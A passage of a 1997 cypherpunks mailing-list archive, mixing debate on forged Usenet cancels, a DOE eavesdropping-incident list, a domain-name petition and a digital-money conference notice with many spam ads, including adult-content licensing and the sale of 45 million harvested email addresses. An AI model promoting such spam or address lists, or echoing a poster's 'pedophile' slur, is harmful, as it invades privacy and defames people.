Message-ID: <199708062240.SAA21541@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


ZMaster has hired this promotional company and are not the maintainers of the email list.
Please so do not contact them for removes, just click on your |Reply Option| and type
 REMOVE in the subject line.
========================================================

We are XXX content providers to web sites
via CDROM licensing. One blanket license allows you
to put all our CD's online we have on the market now
and all future ones coming. We are in compliance with
18 USC 2257, and model releases are on file. Cheapest
way to get legal high quality hardcore images. We have
won the industry awards 2 years in a row for "Best 
Hardcore" photo CD...the 5 cd's are about 3500 XXX and
500 softcore...the newest fetish cd is at pressing house.
Release date is July 9th. Been publishing since 1992.

Once you license fee is paid...you may place all 5 of
our titles online now, and all the ones to be released
in the future for merely the cost of the CD ($20).

http://www.zmaster.com


Benefits:

a) Excellent supplemental content for your galleries.
   Stop paying $1-3 an image, pay pennies.

b) Best deal on the net for licensing in terms of $$$

c) No legal hassles, risks, or fears of copyright

d) Place it on all your URLS's once your licensed

e) No risk, 100% money back guarentee if your not 
   thrilled with the quality and variety.

f) At least 2 more productions will be released this
   year, a Gay male title with all gay talent and another
   XXX hardcore. 

h) Images are scanned from 35mm slides and were taken
   during the filming of hundreds of movies.

i) Ask us how to get  your FREE copy of Compupic to
   do your batch cropping, resizing, and adding of text
   to images - $69.95 webtools free.

j) Resell our CDROM titles for 30% commission, 
   purchase direct from us wholesale.

http://www.zmaster.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 6 Aug 1997 16:58:57 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: Digital Money: New Era or Business as Usual?
Message-ID: <v03110790b00eaeb69656@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Subject: Digital Money: New Era or Business as Usual?
Date: Wed, 6 Aug 97 11:11:20 +0000
x-sender: daveb@mail.hyperion.co.uk
From: "David G.W. Birch" <daveb@hyperion.co.uk>
To: "Bob Hettinga" <rah@shipwright.com>
Mime-Version: 1.0

Bob,

Please repost to e$ and anywhere else you think it might go down well!
The speaker line up is excellent so I'm hoping we can drum up some extra
business by showing it off!!


Digital Money: New Era or Business as Usual?

London, England, 7th-8th October 1997

Hyperion are co-sponsors of a two day seminar bringing together leaders
in the field of digital money and online trading. The seminar is
organised by Unicom <http://www.unicom.co.uk> in association with Lotus,
NCR, Computer Associates, Attachmate, IMIS, Automatic ID News, British
Computer Society and the Institute of Management Consultants.

The seminar cost UKP 845 plus VAT where applicable and places should be
booked through Unicom.

Opening Address: Digital Money Directions
David G.W. Birch, Director, Hyperion.

Keynote Address: Monetary Innovation in Historical Perspective
Glyn Davies, Professor Emeritus and economic advisor to Julian Hodge Bank
Ltd. A copy of Glyn's excellent book "A History of Money from Ancient
Times to the Present Day" will be presented free to all delegates with
the compliments of Hyperion.

Digital Money and Laissez-Faire Banking
David Cronin, formerly with Bank of Ireland.

Digital Money Liability
Nick Lockett, Field Fisher Waterhouse.

Why is the Electronic Economy Different?
John Browning (edited Wired UK).

Programmable Currenies
Howard Smith, CSC

Is the Book Entry Transaction Dead?
Bob Hettinga, Digital Commerce Society of Boston

Trading in the Internet Financial System
Ian Grigg, Systemics

The Electronic Purse in Context
Peter Hirsch, Retail Banking Research

Mondex, A Status Report
Steve Maier, Mondex International

E-Cash, GSM and the Net
Julian Wilson, AT&T Unisource

Electronic Purse: the lessons so far
Steve Johnson, Verifone

Getting from Real Money to Electronic Money
Robert Zipplies, DigiCash

Micropayments
Peter Kirby, IBM

The Cybercash Solution Set
Steve Crispinelli, Cybercash

The Millicent Scheme
Henry Gouraud, Digital UK.

------------------------------------------------------------------
David G.W. Birch, Director.      Hyperion, 8 Frederick Sanger Road
http://www.hyperion.co.uk/           Guildford, Surrey GU2 5YD, UK
mailto:daveb@hyperion.co.uk                  Tel:+44(0)1483 301793
Finger for my PGP public key                 Fax:+44(0)1483 561657

Where people, networks and money come together....consult Hyperion

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Selective.Marketing@kmeijn
Date: Wed, 6 Aug 1997 22:39:38 -0700 (PDT)
To: 2987@balistic.net
Subject: WANNA PLAY VIRTUAL FOOTBALL?
Message-ID: <1997031600.GAA08056@bigfoot.com>
MIME-Version: 1.0
Content-Type: text/plain


WANNA PLAY FOOTBALL? 

Come play Virtual Football where you create your own team.

This site is endorsed by the National Football League.

If you would like more information about playing Virtual Football,

please send your request to <football2@answerme.com> and the 

information will be forwarded to you in just a few short moments.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 7 Aug 1997 17:44:13 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708071951.MAA21851@adnetsol.adnetsol.com>
Message-ID: <19970807173814.48963@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, Aug 07, 1997 at 12:53:16PM -0700, Ross Wright wrote:
[...]
> 
> For no reason whatsoever should you cancel a message you did not send 
> yourself.

How about if it is an employee of yours, using your computer
equipment, that sent the message, in explict contradition to your
companies stated policy? How about if it is your 5 year old child who
just sent a 5 megabyte spam to 500 groups? What if the message is
forged in such a way that it looks exactly as if it came from you?
What if the sender asks you to cancel it because they don't know how?

Absolutist thinking is *almost* always wrong :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: linkhost@hotmail.com
Date: Thu, 14 Aug 1997 08:07:03 -0700 (PDT)
To: linkhost@hotmail.com
Subject: WEBMASTERS - MPEG CLIPS!
Message-ID: <199708072208.SAA20198@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


HOT of the press for WEBMASTERS - MPEG CLIPS!

Images are always in high demand for adult sites but
so are short MPEG clips of hardcore action. We now
offer MPEG clips under 2 meg each of XXX action your
traffic has been demanding. 

25 clips per CD...variety of scenes. Enjoy some great
samples, new MPEG packs will be added monthly.

Just go to http://www.zmaster.com and get the URL from
the MPEG CLIP Pack #1 description, and go see for
yourself.

We also have SOFTCORE centerfolds and ASIAN softcore 
as well as hardcore images for licensing too- Cheap!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James M. Atkinson, Comm-Eng" <jmatk@tscm.com>
Date: Thu, 7 Aug 1997 20:27:55 -0700 (PDT)
To: TSCM-L@tscm.com
Subject: Bugs Recently Found in Department of Energy Facilities
Message-ID: <v03110700b010037ee6ad@[205.161.57.127]>
MIME-Version: 1.0
Content-Type: text/enriched

TSCM-L Mailing List       Wednesday, August 30, 1997	    Volume 1997
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

I've been a bit busy over the last few weeks and have been unable to get 
TSCM-L out until this week.

Making good progress on the TSCM textbook, should have a draft copy 
available around the end of the year as planned.


-jma

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Here is an extract of a DOE report regarding the various technical 
surveillance devices and other technical security problems found at 
DOE facilities within the United States recently.


Bugs Recently Found in U.S. Department of Energy Facilities

++++++++++++++++++++++++++++++++++++

A telephone discovered in a DOE laboratory office was passing room audio while in the on-hook position. The phone was removed from the room by telephone maintenance personnel before an investigation could be initiated.

++++++++++++++++++++++++++++++++++++

During a TSCM survey of an office site for a DOE Operations Office, (previously occupied by DOE contractor management), a technical surveillance device was discovered. Workers removing the suspended ceiling tiles discovered a clandestine hardwired installation above the ceiling.

++++++++++++++++++++++++++++++++++++

A contractor employee that police arrested was sitting in an illegally parked van equipped with electronic eavesdropping equipment. The man was seen using earphones and monitoring activities in the area of three restricted DOE buildings.

++++++++++++++++++++++++++++++++++++

A LLNL research assistant was discovered in a restricted area after hours. An investigation revealed that the employee was installing a wired microphone system into the office of a scientist. The installation consisted of several hundred feet of wire carefully concealed behind a carpet tack strip along the floor.

++++++++++++++++++++++++++++++++++++

A telephone repairman removed the cover of a telephone set to adjust the ringer and noticed a microphone mounted on the interior base of the phone. After the cover was removed, he also noticed a diode next to the lug terminals on the network block. Tests conducted on the instrument demonstrated that with the diode on the network circuit board, the telephone passed good quality audio with the handset in the cradle. 

++++++++++++++++++++++++++++++++++++

A similar telephone instrument was was also found that was passing very clear audio. This telephone was not connected to a line when discovered. There were no indications that classified discussions took place within the office identified.

++++++++++++++++++++++++++++++++++++

Covert video cameras and microphones were found in a DOE womens shower and locker room area. An investigation revealed that video tapes from the cameras (of nude female employees) were being sold in local video rental stores in South Carolina. Investigators found that the recordings were being edited and sold by a DOE contractor employee. System was in place at least eight months.

++++++++++++++++++++++++++++++++++++

Sensitive meeting information at a DOE facility conference room was being passed to unauthorized personnel, possibly by way of a manipulated telephone or a listening device. Evidence at the site indicated the possibility that a hardwired microphone or tape-recording device had been removed just prior to examination.

++++++++++++++++++++++++++++++++++++

During a meeting with a DOE contractor employee, a Japanese national attempted to surreptitiously record the meeting. He was discovered with a body-worn tape recorder. The meeting, which was scheduled to cover reasons a specific Memorandum of Agreement was abruptly placed on hold.

++++++++++++++++++++++++++++++++++++

A listening/recording device was discovered in a building at a DOE facility. The device was found in the administrative office of a shop manager, a contractor to the General Services Administration for DOE. The device was inappropriately removed by the office manager. Personnel involved in the discovery of the device thought it had been installed by a coworker who believed he was under investigation for possible theft of government property.

++++++++++++++++++++++++++++++++++++

A DOE employee reportedly installed a telephone intercept device in a friend's apartment to determine if a privately owned countersurveillance detector was functioning properly. The device was hidden in the back of the living room couch located in front of the wall telephone jack. The DOE employee who resided in the apartment was unaware his friend had placed a device on the telephone line. He discovered the installation and immediately called the local police department, who responded and removed the device.

++++++++++++++++++++++++++++++++++++

During an physical audit of a classified DOE Local Area Network a spread spectrum repeater was found which was passing classified data between two SRS buildings without any type of encryption. The device had been inappropriately installed by a DOE scientist 18 months prior to allow access to "his old LAN from his new office".

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

This material has been reviewed, and has been deemed not to contain any 
classified information, nor does it contain any SNSI/WNINTEL material.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


===========================================
TSCM-L Technical Security Mailing List

Postings:           TSCM-L@tscm.com
Unsubscribe:   unsubTSCM-L@tscm.com
Subscribe:       subTSCM-L@tscm.com
Admin:		      jmatk@tscm.com
===========================================


TSCM-L is published every two weeks by Granite Island Group, and is
written by James M. Atkinson.

This material will only be sent to you upon your direct request, either by 
email, and by signing up via our web page.

Copyright 1997, James M. Atkinson 



========================================================================
"For those who risk, life has a flavor the protected shall never enjoy."
========================================================================
James M. Atkinson                                 Phone: (508) 546-3803
Granite Island Group - TSCM.COM
127 Eastern Avenue #291                           http://www.tscm.com/
Gloucester, MA 01931-8008                         jmatk@tscm.com
========================================================================
The First, The Largest, The Most Popular, and The Most  
Complete TSCM Counterintelligence Site on the Internet
========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@pgmedia.net (pgMedia)
Date: Thu, 7 Aug 1997 19:26:25 -0700 (PDT)
To: info@pgmedia.net
Subject: Petition US Dept. of Commerce in support of NAME.SPACE
Message-ID: <1341134534-1071285@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


Hello All!

The US Department of Commerce is soliciting
comments on the future of domain names on the
internet.

We here at name.space believe that we have designed and
implemented the most all encompassing solution for the good
of the internet and in the interest of the public and free
enterprise.

This is a call to action in support of NAME.SPACE...

Please go to:

http://petition.name.space.xs2.net

and "sign" the petition with your name and email
address, then submit the form to the mailbot who
will send it along to the US Department of Commerce.

For those who choose to write their personal views,
or otherwise comment on the name.space petition,
please use the optional doit yourself form linked to
from the petition page.  All individual comments will
be emailed to USDoC as well as be posted on the public
forum on the NAME.SPACE website.

Please take this time to make your voices heard!

DEADLINE FOR COMMENTS IS AUGUST 18, 1997
so please don't wait! time is running out.

For a preview, the full text of the petition appears below.
If you know people who lack web access, please pass it along
so they may participate via email.  Such submissions should
be sent to dns@ntia.doc.gov

Please take a few moments to review the contents of the
petition and please, do pass this info on to as many people
as possible.

Thank you for your time and for your support.

Best Wishes,

Paul Garrin
name.space
http://name.space
http://namespace.xs2.net

----------------------full text of petition follows------------------

       PETITION TO THE US DEPARTMENT OF COMMERCE IN SUPPORT OF
       THE NAME.SPACE(TM) SYSTEM OF GLOBAL DIRECTORY SERVICES

                   (The New Paradigm for the Old DNS)

I [YOUR NAME WILL BE INSERTED] do hereby support the design of the
expanded toplevel Internet namespace which is currently operated by
pgMedia, Inc.'s NAME.SPACE(TM) service, located on the internet at
http://namespace.pgmedia.net (or http://name.space).

The paradigm implemented by NAME.SPACE(TM) is the most
pro-competitive, democratic and open system proposed so far with
respect to opening up the administration and operation of the
Domain-Name-System ("DNS"). The structure advocated by NAME.SPACE(TM)
removes the artificial barriers to entry that exist today as a result of
the monopolistic control over the domain name registration market
exerted by Network Solutions, Inc. ("NSI"). The NAME.SPACE(TM) paradigm
incorporates a fair, competitive structure which encourages
investment and innovation by companies wishing to compete in the
provision of this service which is essential to the operation and
continued growth of the Internet.

pgMedia, Inc. has created, through substantial private investment in
research and development, its NAME.SPACE(TM) registry administered by
thirteen toplevel root-directory servers located in five countries. The
NAME.SPACE(TM) registry uses innovative and creative techniques which
bring the old DNS out of the Cold War and into The 90'S.

The NAME.SPACE(TM) system decentralizes the administration of DNS and
enables open competition in the Public Domain Toplevel Namespace
without regulation by any governments or quasi-governmental
authority, nor does it require the enactment of new laws or regulations.

Description of the NAME.SPACE(TM) service:

On the NAME.SPACE(TM) system, name registrations are taken by
registrars who administer client accounts under the given toplevel
name categories (publicly shared toplevel namespace). All registrars
must register their digital ID with a trusted third party/parties which
authenticates and authorizes them to function as registries. The
application process is administered by an independent company, similar
to the process used by banks when authorizing merchant credit-card
accounts, and the operation of secure servers used in commercial
transactions on the Internet today.

Registries update the database on demand based on the availability of a
given name address using the IDSD system (IDSD=Integral Database
Synchronizer Daemon), a secure protocol developed by pgMedia which is
available, without limitation or charge. (A detailed description of the
IDSD protocol can be found at http://namespace.xs2.net/IDSD). IDSD
makes it technically feasible for ALL registries to share the toplevel
namespace equally, eliminating any technical justification for
"exclusive" control over any given toplevel name by a single registry,
such as NSI currently enjoys with ".com".

Registration is accomplished instantaneously through an interactive,
form-based interface on the World Wide Web with online payment
options via a secure server. During the registration process, a
registrant establishes an account, a contact "handle" and, of course its
"name". The registrant has the option to choose whether or not its
personal contact information will be publicly listed. All other account
information, of course, remains confidential. The registrant may then
establish a Portable Address Record, over which it has full
administrative access on the NAME.SPACE nameservers. This service
allows a registrant to change service providers and easily take its
"name" to a new host without delay or complications. Upon completion
of the registration process by the registrant, the NAME.SPACE(TM) system
immediately processes the information and creates the second level
entry into the toplevel database, which is then distributed to all other
root-servers via the IDSD protocol. The registration process and the
creation of Portable Address Records are instantaneous, and function
on the Internet within minutes, not days or weeks as in the current
system.

Issues and Answers

Under the NAME.SPACE(TM) paradigm, the toplevel namespace functions as
a Global Directory Service and would be managed within the
competitive marketplace in the general interest of the Internet public
through the various independent registrars. Each generic TLD ("gTLD") is
administered by all registrars who wish to offer services thereunder
with no exclusive claim of ownership of any toplevel name by any
individual, corporation or government, subject to existing intellectual
property law.

These gTLDs may be added or removed based on public demand. Also,
gTLDs may include languages other than English, limited only to the US
ASCII character set, the English alphabet plus 10 digits and the hyphen
for a total of 37 characters.

All leading authorities are in agreement that there is no limit to the
number of possible toplevel names, as there is no limit to the number
of root directories under the UNIX file system. As NSI admits:

"DNS is highly scaleable. There is no technical limit to the number of
new top-level names that could be introduced. The original designer of
DNS, Paul Mockapetris, has verified the scalability of DNS."

(http://rs.internic.net/nic-support/nicnews/jun97/MYTHS4.html)

Thus, any claim that expanding the toplevel namespace is technically
not feasible is simply unfounded. The proponents of such claims seem
to be guided by a desire to limit the potential market so as to create an
artificial scarcity which translate into higher prices and profits.

The use of arbitrarily defined and limited categories such as ".com" has
forced many registrants to engage in verbal gymnastics, and to rely on
unwieldy content-based search engines - this would be obviated by the
full implementation of the NAME.SPACE(TM) paradigm. Thus, for example,
Acme.computers and Acme.plumbing could both have a presence on the
Internet without having to artificially pervert their names. The
"byte-counter mentality," which has plagued us with the dreaded
"Millennium Bug," was responsible for the initial constraints on the
toplevel domain name nomenclature. The NAME.SPACE(TM) system simply
recognizes that such limitations have long since been eliminated and
are wholly artificial.

With respect to intellectual property issues, no regulatory framework
can assure the complete protection of holders of such rights against
infringement by unauthorized parties. However, the potential for such
infringement, which exists in all published media, should not be used as
a basis to limit the free speech rights of the vast majority of law
abiding users of the Internet, while protecting artificial monopolies.
Furthermore, it is wholly inappropriate to empower any registrar to
adjudicate the rights of holders of intellectual property, for that role
must ultimatly reside with the courts.

Fees for registration services should be dictated by the market. Waiver
of fees and discounts should be considered for qualifying educational
and non-profit organizations, as well as a selection of totally free
categories (such as the Free.Zone provided currently by NAME.SPACE(TM)).

In conclusion, NAME.SPACE(TM) has developed and implemented a new
paradigm for the Global Directory Services on the Internet by bringing
the function of the old DNS, a legacy of the Cold War, into sync with the
current dynamic of the public, global, civilian and commercial Internet.

The NAME.SPACE(TM) system is a reality today. The NAME.SPACE(TM)
automated registry has been fully functional for nearly one year now
and has proven its reliability and desirability as evidenced by the
thousands of users who have been using the NAME.SPACE(TM) servers to
resolve their DNS and those who have registered their names in
NAME.SPACE(TM) .

I fully endorse and support the endeavors of pgMedia, Inc. and the
NAME.SPACE(TM) system and highly recommend that the U.S. Department of
Commerce recommend and concur in its full implementation on the
Internet.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mpj@ebible.org>
Date: Thu, 7 Aug 1997 20:50:13 -0700 (PDT)
To: coderpunks@toad.com
Subject: Death of the North American Crypto archive?
Message-ID: <3.0.3.32.19970807212752.00931870@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Alas, it wasn't government regulation.
It wasn't patent entanglements.
It wasn't spooks.
It is economics. Can anyone suggest an alternate host that might provide room 
for a few hundred megabytes of ftp access for free (or nearly free)? Can 
someone else in North American mirror all of that data, quickly, before the 
site shuts down?

I really don't want to shut http://www.sni.net/~mpj/crypto.htm down, but I 
don't want to face the bills alone...


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM+qSN0SP4McX10e7EQKAagCg0qQJTkunB3KZpwtiH00epx01xEoAnix0
2KdLJaN3VKsG6P9mSeZtUXiJ
=WMhh
-----END PGP SIGNATURE-----


Michael Paul Johnson    mailto:mpj@ebible.org (aka mpj@csn.net)
PO Box 1151             http://www.ebible.org/bible        <- Holy Bible
Longmont CO 80502-1151  http://www.sni.net/~mpj/crypto.htm <- Crypto archive
USA       

PGP RSA key fingerprint (mpjA): 3E67 A580 0DFB D16A  6D52 D3A9 1C07 4E41

PGP DSS/DH fingerprint: 28AE B775 DD65 62C7 0717  ECDA 448F E0C7 17D7 47BB








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 19:22:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <19970807173814.48963@bywater.songbird.com>
Message-ID: <e4H4ae46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Thu, Aug 07, 1997 at 12:53:16PM -0700, Ross Wright wrote:
> [...]
> >
> > For no reason whatsoever should you cancel a message you did not send
> > yourself.

Yep.

> How about if it is an employee of yours, using your computer
> equipment, that sent the message, in explict contradition to your
> companies stated policy?

Use a retraction server (David's project)

> How about if it is your 5 year old child who
> just sent a 5 megabyte spam to 500 groups?

Ditto.

> What if the message is
> forged in such a way that it looks exactly as if it came from you?

Ditto, and consider setting up a service to automatically issue NoCeMs
for forgeries.

> What if the sender asks you to cancel it because they don't know how?

Make the retraction server easier to use.

> Absolutist thinking is *almost* always wrong :-)

kent Crispin sounds like a pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 8 Aug 1997 00:44:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <19970807173814.48963@bywater.songbird.com>
Message-ID: <19970808003832.21296@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, Aug 07, 1997 at 10:00:25PM -0500, Dr.Dimitri Vulis KOTM wrote:
> Kent Crispin <kent@songbird.com> writes:
> 
> > On Thu, Aug 07, 1997 at 12:53:16PM -0700, Ross Wright wrote:
> > [...]
> > >
> > > For no reason whatsoever should you cancel a message you did not send
> > > yourself.
> 
> Yep.
> 
> > How about if it is an employee of yours, using your computer
> > equipment, that sent the message, in explict contradition to your
> > companies stated policy?
> 
> Use a retraction server (David's project)

Just curious -- how would this be morally different from doing a
cancel?

[...]

> kent Crispin sounds like a pedophile.

You need to get your hearing checked, then.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: extractor@impactmarketing.com
Date: Fri, 8 Aug 1997 14:36:00 -0700 (PDT)
To: extractor@impactmarketing.com
Subject: Never Pay for Advertising Again.
Message-ID: <199708082135.OAA12177@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Since you are doing business on the 'net, you know that properly
targeting your advertising messages can be pretty tough.  And banner
ads are still way too expensive

Instead of paying for "impressions" to a general audience, wouldn't
you rather know that you sent your message directly to the appropriate
audience?

US World News & Reports came out with an article on Monday May 12,
1997 finding that  "70% of Internet users don't mind receiving
commercial email messages - as long as they are targeted to their
personal interests"

I found that you are doing business on the net by using "Extractor
PRO" commercial email software.  You, too, can send commercial
e-mail to those who are interested in what you have to offer,
whatever it is - and it's so inexpensive!

Once you own the software, you can build your very own Highly Targeted 
Mailing List, then send your ad out to your targeted mailing list at the push 
of a button.


"You may never have to pay for other forms of advertising again!"

"HotWired" Magazine says, "Extractor Pro simplifies the process of
gathering and managing email addresses from AOL, Usenet, mailing
lists, and other public sources."  Feb. 11, 1997


Extractor PRO is loaded with targeting power, high-speed, a
user-friendly feel, Online Wizards, Smart Help and Awesome Video
Training via "CyberSchool".  No other commercial email software is as
easy to use and understand.  Extractor PRO really makes advertising
economical. 

Just check out the website - you'll be impressed!  With your order
before Aug. 15, 1997 you'll also receive a free website submission
service, World Launch - we'll submit your website to over 200 of the
hottest search engines, and also offer you 2000 Free Classified Sites
AND Free powerful tips to get your site noticed by the search engines!
 ($40 value)

For more information, simply point your WebBrowser to:

http://www.impactmarketing.com
http://www.e-offers.com

Click here to download our movie!
http://www.extractor.com/demo.exe

Thank you for your time.

------------------
To be removed from this business list, simply reply to this message
with the word, "Remove" in the subject heading, and Extractor PRO will
automatically remove you from the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 07:24:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708071951.MAA21851@adnetsol.adnetsol.com>
Message-ID: <Pine.LNX.3.93.970808201239.868I-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Ross Wright wrote:

> For no reason whatsoever should you cancel a message you did not send 
> yourself.

I have issued cancels for posts issued (mistankely) from a group account.
I have also issued cancels (with there permition) for authours who
couldn't work out how to do it.

> NPR's Jim Zarroli reports that UUNet, the Internet service provider
> whose billboards were blocked,

Please don't call UseNet a billboard.  Its like calling the interantional
phone system an intercom.

- --
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+ryKaQK0ynCmdStAQGoKAQA0WTGtylmuAgD3VYwY5+Gw51Q90N2B0Rl
X4Jg8zgpPBoU/VYyUPJixTHCCne30fp3SXXaYYYWIMnjWHxrO+Zs2TSfl7EqCsWg
M83gu/0vKfS9/x7tKQkZrMDW8Huti86X7GHmamfRVynRLm3oPb/r9DhzS47+dvBk
+AlVmczX2/M=
=UHQV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 48267539@usa.net
Date: Fri, 8 Aug 1997 23:29:43 -0700 (PDT)
To: Friend@public.com
Subject: $300 PER DAY IN 5 WEEKS!!
Message-ID: <4756089120792879.GP493285@via-netcom3.net>
MIME-Version: 1.0
Content-Type: text/plain


For the ULTIMATE in moneymaking software, go to:

http://www.mkt-america.com/user/matt2/

This is a FREE program you can download directly from
our web site.

THIS  WILL MAKE YOU A MILLIONAIRE THIS YEAR!!!

===>  Just send people to your FREE webpage we give
          you and get $$ in the mail.

It's been three weeks, and I'm making $300 PER DAY!!
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SmartBiz@NevWest.com
Date: Sat, 9 Aug 1997 03:28:31 -0700 (PDT)
To: SmartBiz@NevWest.com
Subject: EARN $2,000-5,000/Week Part Time
Message-ID: <199708091020.GAA19886@mail.clark.net>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////

READ THIS LETTER AND ...

..LEARN ABOUT ONE OF THE MOST EXCITING BUSINESSES I'VE EVER SEEN!

. Learn How to Earn $2,000 - $5,000 / Week - $10,000 - $20,000 / Month
 
· This business is NOT MLM (Many Loosing Money).
· This business is NOT a FRANCHISE.
· This business does NOT require having Inventory.

· We have a Turn Key Business that Anyone Can Do.
· We have Many Lead Generating Sources.
· We have 14 hours of FREE Training every week by Phone.
· We have Excellent FREE Support by Phone.

If your like the rest of us, you would like to find a way to make
a lot of money from home and work on your own time.

Well that's exactly what we do. 

That's right, we don't go to meetings, we don't waste time driving
anywhere and we don't share our profits with anyone.

We make 90% on every Sale!  Our customers pay us direct, by
private courier, FedEx, UPS, etc. everyday! No Middlemen!  
No Commission Spits!  Just Profit!  

We have an easy, 3 step, process to learn about this business and
we do it by phone.  

To learn more about this very lucrative business, CALL ME!

..CALL TOLL FREE 800-995-0796 x 6842 and listen to a 2 minute
   message further explaining this very exciting business.  Leave
   your name and phone number and I will call you back.  

..USE REPLY ONLY TO ADD YOUR NAME TO OUR PERMINENT REMOVE LIST !!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: name1@msn.com
Date: Fri, 8 Aug 1997 07:36:13 -0700 (PDT)
To: name2@here.com
Subject: You wanted it - YOU GOT IT !!!
Message-ID: <199702170025 GAA08086 @emyn46.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


OK, here it is:

45,000,000+  Yep that's right, FORTY FIVE MILLION PLUS
E-Mail addresses on 2 CD's.  Your Cost $119.00 plus
$5.00 for shipping and handling.

Want them overnight add $15.00

These are brand new names, with no duplicates, in text format
for easy use with your Bulk E-mail software programs.

Order now - will not last long at this price only taking limited
orders as we do not want to saturate the market with these names.

Send  Check or Money Order Only - (No Cash) to:

HPC
(702) 454-2563
2887 North Green Valley Parkway
Suite # 298
Henderson , Nevada 89014

Name ______________________________________________
Address_____________________________________________
City _____________________ State _______ Zip ___________
Email Address _______________________________________





_____ Send me the 45,000,000 Email addresses for  $119.00
           plus $5.00 shipping and handling (total $124.00)

_____ Send me the 45,000,000 Email addresses for $119.00
           plus $5.00 for shipping and handling and $15.00 for
           overnight service (total $139.00)

Make all checks and Money Orders payable to : "HPC"

(Checks held 5 business days)

(please print this order form) 












Hpc/897 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 9 Aug 1997 09:31:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: REPOST : Un-forgeable Cancels
In-Reply-To: <12952.9708081327@misun2.mi.leeds.ac.uk>
Message-ID: <L9D7ae93w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


jbaber@mi.leeds.ac.uk writes:

> From what I can see (the full README is unavailable) PGPMoose is designed
> to Cancel messages in a moderated newsgroup that have not been approved by
> the moderator - by using PGP sigs to authenticate the approval.
>
> see http://people.qualcomm.com/ggr/pgpmoose.html

Given that Qualcomm employs Paul Pomes, who harrasses anonymous remailer
operators by complaining to their upstreams and employers, I advise you
